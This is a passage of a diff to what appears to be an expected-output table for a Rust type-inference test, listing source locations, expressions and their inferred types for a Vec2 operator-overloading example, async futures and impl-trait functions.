main.rs:1575:13:1575:19 | vec2_ne | | {EXTERNAL LOCATION} | bool | -| main.rs:1575:23:1575:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:23:1575:30 | ... != ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1575:29:1575:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1575:29:1575:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:29:1575:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:13:1576:19 | vec2_lt | | {EXTERNAL LOCATION} | bool | -| main.rs:1576:23:1576:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:23:1576:29 | ... < ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1576:28:1576:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1576:28:1576:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:28:1576:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:13:1577:19 | vec2_le | | {EXTERNAL LOCATION} | bool | -| main.rs:1577:23:1577:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:23:1577:30 | ... <= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1577:29:1577:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1577:29:1577:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:29:1577:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:13:1578:19 | vec2_gt | | {EXTERNAL LOCATION} | bool | -| main.rs:1578:23:1578:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:23:1578:29 | ... > ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1578:28:1578:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1578:28:1578:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:28:1578:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:13:1579:19 | vec2_ge | | {EXTERNAL LOCATION} | bool | -| main.rs:1579:23:1579:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:23:1579:30 | ... >= ... | | {EXTERNAL LOCATION} | bool | -| main.rs:1579:29:1579:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1579:29:1579:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:29:1579:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:13:1582:20 | vec2_add | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:24:1582:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:24:1582:30 | ... + ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:29:1582:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1582:29:1582:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1582:29:1582:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:13:1583:20 | vec2_sub | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:24:1583:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:24:1583:30 | ... - ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:29:1583:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1583:29:1583:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1583:29:1583:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:13:1584:20 | vec2_mul | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:24:1584:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:24:1584:30 | ... * ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:29:1584:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1584:29:1584:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1584:29:1584:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:13:1585:20 | vec2_div | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:24:1585:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:24:1585:30 | ... / ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:29:1585:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1585:29:1585:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1585:29:1585:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:13:1586:20 | vec2_rem | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:24:1586:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:24:1586:30 | ... % ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:29:1586:30 | v2 | | file://:0:0:0:0 | & | -| main.rs:1586:29:1586:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1586:29:1586:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1589:13:1589:31 | mut vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1589:35:1589:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1590:9:1590:23 | vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1590:9:1590:29 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1590:28:1590:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1590:28:1590:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1590:28:1590:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1592:13:1592:31 | mut vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1592:35:1592:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1593:9:1593:23 | vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1593:9:1593:29 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1593:28:1593:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1593:28:1593:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1593:28:1593:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1595:13:1595:31 | mut vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1595:35:1595:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1596:9:1596:23 | vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1596:9:1596:29 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1596:28:1596:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1596:28:1596:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1596:28:1596:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1598:13:1598:31 | mut vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1598:35:1598:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1599:9:1599:23 | vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1599:9:1599:29 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1599:28:1599:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1599:28:1599:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1599:28:1599:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1601:13:1601:31 | mut vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1601:35:1601:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1602:9:1602:23 | vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1602:9:1602:29 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1602:28:1602:29 | v2 | | file://:0:0:0:0 | & | -| main.rs:1602:28:1602:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1602:28:1602:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:13:1605:23 | vec2_bitand | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:27:1605:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:27:1605:33 | ... & ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:32:1605:33 | v2 | | file://:0:0:0:0 | & | -| main.rs:1605:32:1605:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1605:32:1605:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:13:1606:22 | vec2_bitor | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:26:1606:27 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:26:1606:32 | ... \| ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:31:1606:32 | v2 | | file://:0:0:0:0 | & | -| main.rs:1606:31:1606:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1606:31:1606:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:13:1607:23 | vec2_bitxor | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:27:1607:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:27:1607:33 | ... ^ ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:32:1607:33 | v2 | | file://:0:0:0:0 | & | -| main.rs:1607:32:1607:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1607:32:1607:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:13:1608:20 | vec2_shl | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:24:1608:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:24:1608:33 | ... << ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:30:1608:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | -| main.rs:1609:13:1609:20 | vec2_shr | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:24:1609:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:24:1609:33 | ... >> ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:30:1609:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | -| main.rs:1612:13:1612:34 | mut vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1612:38:1612:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1613:9:1613:26 | vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1613:9:1613:32 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1613:31:1613:32 | v2 | | file://:0:0:0:0 | & | -| main.rs:1613:31:1613:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1613:31:1613:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1615:13:1615:33 | mut vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1615:37:1615:38 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1616:9:1616:25 | vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1616:9:1616:31 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1616:30:1616:31 | v2 | | file://:0:0:0:0 | & | -| main.rs:1616:30:1616:31 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1616:30:1616:31 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1618:13:1618:34 | mut vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1618:38:1618:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1619:9:1619:26 | vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1619:9:1619:32 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1619:31:1619:32 | v2 | | file://:0:0:0:0 | & | -| main.rs:1619:31:1619:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1619:31:1619:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1621:13:1621:31 | mut vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1621:35:1621:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1622:9:1622:23 | vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1622:9:1622:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1622:29:1622:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | -| main.rs:1624:13:1624:31 | mut vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1624:35:1624:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1625:9:1625:23 | vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1625:9:1625:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1625:29:1625:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | -| main.rs:1628:13:1628:20 | vec2_neg | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1628:24:1628:26 | - ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1628:25:1628:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1629:13:1629:20 | vec2_not | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1629:24:1629:26 | ! ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1629:25:1629:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1639:18:1639:21 | SelfParam | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1642:25:1644:5 | { ... } | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1643:9:1643:10 | S1 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1646:41:1650:5 | { ... } | | {EXTERNAL LOCATION} | trait Future | -| main.rs:1646:41:1650:5 | { ... } | | main.rs:1646:16:1646:39 | ImplTraitTypeRepr | -| main.rs:1646:41:1650:5 | { ... } | Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1647:9:1649:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | -| main.rs:1647:9:1649:9 | { ... } | | main.rs:1646:16:1646:39 | ImplTraitTypeRepr | -| main.rs:1647:9:1649:9 | { ... } | Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1648:13:1648:14 | S1 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1657:17:1657:46 | SelfParam | | {EXTERNAL LOCATION} | Pin | -| main.rs:1657:17:1657:46 | SelfParam | Ptr | file://:0:0:0:0 | & | -| main.rs:1657:17:1657:46 | SelfParam | Ptr.&T | main.rs:1652:5:1652:14 | S2 | -| main.rs:1657:49:1657:51 | _cx | | file://:0:0:0:0 | & | -| main.rs:1657:49:1657:51 | _cx | &T | {EXTERNAL LOCATION} | Context | -| main.rs:1657:116:1659:9 | { ... } | | {EXTERNAL LOCATION} | Poll | -| main.rs:1657:116:1659:9 | { ... } | T | main.rs:1636:5:1636:14 | S1 | -| main.rs:1658:13:1658:38 | ...::Ready(...) | | {EXTERNAL LOCATION} | Poll | -| main.rs:1658:13:1658:38 | ...::Ready(...) | T | main.rs:1636:5:1636:14 | S1 | -| main.rs:1658:36:1658:37 | S1 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1662:41:1664:5 | { ... } | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1662:41:1664:5 | { ... } | | main.rs:1662:16:1662:39 | ImplTraitTypeRepr | -| main.rs:1663:9:1663:10 | S2 | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1663:9:1663:10 | S2 | | main.rs:1662:16:1662:39 | ImplTraitTypeRepr | -| main.rs:1667:9:1667:12 | f1(...) | | {EXTERNAL LOCATION} | trait Future | -| main.rs:1667:9:1667:12 | f1(...) | Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1667:9:1667:18 | await ... | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1668:9:1668:12 | f2(...) | | main.rs:1646:16:1646:39 | ImplTraitTypeRepr | -| main.rs:1668:9:1668:18 | await ... | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1669:9:1669:12 | f3(...) | | main.rs:1662:16:1662:39 | ImplTraitTypeRepr | -| main.rs:1669:9:1669:18 | await ... | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1670:9:1670:10 | S2 | | main.rs:1652:5:1652:14 | S2 | -| main.rs:1670:9:1670:16 | await S2 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1671:13:1671:13 | b | | {EXTERNAL LOCATION} | trait Future | -| main.rs:1671:13:1671:13 | b | Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1671:17:1673:9 | { ... } | | {EXTERNAL LOCATION} | trait Future | -| main.rs:1671:17:1673:9 | { ... } | Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1672:13:1672:14 | S1 | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1674:9:1674:9 | b | | {EXTERNAL LOCATION} | trait Future | -| main.rs:1674:9:1674:9 | b | Output | main.rs:1636:5:1636:14 | S1 | -| main.rs:1674:9:1674:15 | await b | | main.rs:1636:5:1636:14 | S1 | -| main.rs:1684:15:1684:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1684:15:1684:19 | SelfParam | &T | main.rs:1683:5:1685:5 | Self [trait Trait1] | -| main.rs:1688:15:1688:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1688:15:1688:19 | SelfParam | &T | main.rs:1687:5:1689:5 | Self [trait Trait2] | -| main.rs:1692:15:1692:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1692:15:1692:19 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | -| main.rs:1696:15:1696:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1696:15:1696:19 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | -| main.rs:1699:37:1701:5 | { ... } | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1699:37:1701:5 | { ... } | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | -| main.rs:1700:9:1700:10 | S1 | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1700:9:1700:10 | S1 | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | -| main.rs:1704:18:1704:22 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1704:18:1704:22 | SelfParam | &T | main.rs:1703:5:1705:5 | Self [trait MyTrait] | -| main.rs:1708:18:1708:22 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1708:18:1708:22 | SelfParam | &T | main.rs:1680:5:1680:14 | S1 | -| main.rs:1708:31:1710:9 | { ... } | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1709:13:1709:14 | S2 | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1713:45:1715:5 | { ... } | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1713:45:1715:5 | { ... } | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1714:9:1714:10 | S1 | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1714:9:1714:10 | S1 | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1717:41:1717:41 | t | | main.rs:1717:26:1717:38 | B | -| main.rs:1717:52:1719:5 | { ... } | | main.rs:1717:23:1717:23 | A | -| main.rs:1718:9:1718:9 | t | | main.rs:1717:26:1717:38 | B | -| main.rs:1718:9:1718:17 | t.get_a() | | main.rs:1717:23:1717:23 | A | -| main.rs:1721:26:1721:26 | t | | main.rs:1721:29:1721:43 | ImplTraitTypeRepr | -| main.rs:1721:51:1723:5 | { ... } | | main.rs:1721:23:1721:23 | A | -| main.rs:1722:9:1722:9 | t | | main.rs:1721:29:1721:43 | ImplTraitTypeRepr | -| main.rs:1722:9:1722:17 | t.get_a() | | main.rs:1721:23:1721:23 | A | -| main.rs:1726:13:1726:13 | x | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | -| main.rs:1726:17:1726:20 | f1(...) | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | -| main.rs:1727:9:1727:9 | x | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | -| main.rs:1728:9:1728:9 | x | | main.rs:1699:16:1699:35 | ImplTraitTypeRepr | -| main.rs:1729:13:1729:13 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1729:17:1729:32 | get_a_my_trait(...) | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1730:13:1730:13 | b | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1730:17:1730:33 | uses_my_trait1(...) | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1730:32:1730:32 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1731:13:1731:13 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1731:17:1731:32 | get_a_my_trait(...) | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1732:13:1732:13 | c | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1732:17:1732:33 | uses_my_trait2(...) | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1732:32:1732:32 | a | | main.rs:1713:28:1713:43 | ImplTraitTypeRepr | -| main.rs:1733:13:1733:13 | d | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1733:17:1733:34 | uses_my_trait2(...) | | main.rs:1681:5:1681:14 | S2 | -| main.rs:1733:32:1733:33 | S1 | | main.rs:1680:5:1680:14 | S1 | -| main.rs:1739:5:1739:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1740:5:1740:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1740:20:1740:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1740:41:1740:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1756:5:1756:15 | ...::f(...) | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1502:22:1502:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1502:44:1504:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:13:1503:16 | self | | file://:0:0:0:0 | & | +| main.rs:1503:13:1503:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:13:1503:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1503:13:1503:29 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:13:1503:50 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:23:1503:27 | other | | file://:0:0:0:0 | & | +| main.rs:1503:23:1503:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:23:1503:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1503:34:1503:37 | self | | file://:0:0:0:0 | & | +| main.rs:1503:34:1503:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:34:1503:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1503:34:1503:50 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1503:44:1503:48 | other | | file://:0:0:0:0 | & | +| main.rs:1503:44:1503:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1503:44:1503:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1508:24:1508:28 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1508:24:1508:28 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1508:31:1508:35 | other | | file://:0:0:0:0 | & | +| main.rs:1508:31:1508:35 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1508:75:1510:9 | { ... } | | {EXTERNAL LOCATION} | Option | +| main.rs:1508:75:1510:9 | { ... } | T | {EXTERNAL LOCATION} | Ordering | +| main.rs:1509:13:1509:29 | (...) | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:13:1509:63 | ... .partial_cmp(...) | | {EXTERNAL LOCATION} | Option | +| main.rs:1509:13:1509:63 | ... .partial_cmp(...) | T | {EXTERNAL LOCATION} | Ordering | +| main.rs:1509:14:1509:17 | self | | file://:0:0:0:0 | & | +| main.rs:1509:14:1509:17 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:14:1509:19 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:14:1509:28 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:23:1509:26 | self | | file://:0:0:0:0 | & | +| main.rs:1509:23:1509:26 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:23:1509:28 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:43:1509:62 | &... | | file://:0:0:0:0 | & | +| main.rs:1509:43:1509:62 | &... | &T | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:44:1509:62 | (...) | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:45:1509:49 | other | | file://:0:0:0:0 | & | +| main.rs:1509:45:1509:49 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:45:1509:51 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:45:1509:61 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1509:55:1509:59 | other | | file://:0:0:0:0 | & | +| main.rs:1509:55:1509:59 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1509:55:1509:61 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1512:15:1512:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1512:15:1512:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1512:22:1512:26 | other | | file://:0:0:0:0 | & | +| main.rs:1512:22:1512:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1512:44:1514:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:13:1513:16 | self | | file://:0:0:0:0 | & | +| main.rs:1513:13:1513:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:13:1513:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:13:1513:28 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:13:1513:48 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:22:1513:26 | other | | file://:0:0:0:0 | & | +| main.rs:1513:22:1513:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:22:1513:28 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:33:1513:36 | self | | file://:0:0:0:0 | & | +| main.rs:1513:33:1513:36 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:33:1513:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:33:1513:48 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:42:1513:46 | other | | file://:0:0:0:0 | & | +| main.rs:1513:42:1513:46 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1513:42:1513:48 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1516:15:1516:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1516:15:1516:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1516:22:1516:26 | other | | file://:0:0:0:0 | & | +| main.rs:1516:22:1516:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1516:44:1518:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:13:1517:16 | self | | file://:0:0:0:0 | & | +| main.rs:1517:13:1517:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:13:1517:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:13:1517:29 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:13:1517:50 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:23:1517:27 | other | | file://:0:0:0:0 | & | +| main.rs:1517:23:1517:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:23:1517:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:34:1517:37 | self | | file://:0:0:0:0 | & | +| main.rs:1517:34:1517:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:34:1517:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:34:1517:50 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:44:1517:48 | other | | file://:0:0:0:0 | & | +| main.rs:1517:44:1517:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1517:44:1517:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1520:15:1520:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1520:15:1520:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1520:22:1520:26 | other | | file://:0:0:0:0 | & | 